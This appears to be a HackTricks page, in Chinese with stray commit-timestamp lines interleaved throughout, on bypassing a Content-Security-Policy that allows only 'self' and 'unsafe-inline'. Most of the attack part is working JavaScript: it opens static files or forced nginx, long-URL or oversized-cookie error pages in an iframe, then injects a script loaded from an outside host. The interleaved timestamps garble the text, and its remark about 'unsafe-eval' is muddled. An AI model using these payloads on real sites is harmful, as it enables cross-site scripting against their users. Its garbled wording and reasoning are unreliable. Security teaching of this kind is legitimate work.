2022-04-28 16:01:33 +00:00
< details >
2024-02-09 08:09:21 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-09 08:09:21 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-02-07 04:49:09 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
2024-02-09 08:09:21 +00:00
* **加入** 💬 [**Discord群** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群** ](https://t.me/peass ) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**。**
2024-02-07 04:49:09 +00:00
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-02-07 04:49:09 +00:00
A configuration such as:
2022-04-19 22:38:50 +00:00
```
2024-02-07 04:49:09 +00:00
Content-Security-Policy: default-src 'self' 'unsafe-inline';
2022-04-19 22:38:50 +00:00
```
2024-02-09 08:09:21 +00:00
禁止使用任何以字符串形式传输并执行代码的函数。例如:`eval, setTimeout, setInterval`都将被阻止,因为设置了`unsafe-eval`
2022-04-19 22:38:50 +00:00
2024-02-07 04:49:09 +00:00
任何来自外部来源的内容也会被阻止, 包括图像、CSS、WebSockets, 尤其是JS
2022-04-19 22:38:50 +00:00
2024-02-07 04:49:09 +00:00
### 通过文本和图像
2022-04-19 22:38:50 +00:00
2024-02-07 04:49:09 +00:00
观察到现代浏览器将图像和文本转换为HTML以增强其显示效果( 例如, 设置背景、居中等) 。因此, 如果通过`iframe`打开图像或文本文件,例如`favicon.ico`或`robots.txt`, 它将被呈现为HTML。值得注意的是, 这些页面通常缺少CSP标头, 可能不包括X-Frame-Options, 从而使得可以从中执行任意JavaScript:
2022-04-19 22:38:50 +00:00
```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
2024-02-07 04:49:09 +00:00
script.src='//example.com/csp.js';
2022-04-19 22:38:50 +00:00
window.frames[0].document.head.appendChild(script);
```
2024-02-07 04:49:09 +00:00
### 通过错误
2022-04-19 22:38:50 +00:00
2024-02-07 04:49:09 +00:00
同样, 错误响应, 如文本文件或图像, 通常不带有CSP标头, 可能会省略X-Frame-Options。可以诱发错误加载到iframe中, 从而实现以下操作:
2022-04-19 22:38:50 +00:00
```javascript
2024-02-07 04:49:09 +00:00
// Inducing an nginx error
2022-04-19 22:38:50 +00:00
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
2024-02-07 04:49:09 +00:00
// Triggering an error with a long URL
2022-04-19 22:38:50 +00:00
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
2024-02-07 04:49:09 +00:00
// Generating an error via extensive cookies
2022-04-19 22:38:50 +00:00
for(var i=0;i< 5 ; i + + ) { document . cookie = i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
2024-02-07 04:49:09 +00:00
// Removal of cookies is crucial post-execution
2022-04-19 22:38:50 +00:00
for(var i=0;i< 5 ; i + + ) { document . cookie = i+"="}
```
2024-02-09 08:09:21 +00:00
触发任何提到的场景后,可以通过以下方式在 iframe 中实现 JavaScript 执行:
2022-04-19 22:38:50 +00:00
```javascript
script=document.createElement('script');
2024-02-07 04:49:09 +00:00
script.src='//example.com/csp.js';
2022-04-19 22:38:50 +00:00
window.frames[0].document.head.appendChild(script);
```
2023-08-03 19:12:22 +00:00
## 参考资料
2022-04-19 22:38:50 +00:00
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/ ](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/ )
2022-04-28 16:01:33 +00:00
< details >
2024-02-07 04:49:09 +00:00
< summary > < strong > 从零开始学习AWS黑客技术< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-07 04:49:09 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-02-07 04:49:09 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
2024-02-09 08:09:21 +00:00
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群** ](https://t.me/peass ) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**。**
2024-02-07 04:49:09 +00:00
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >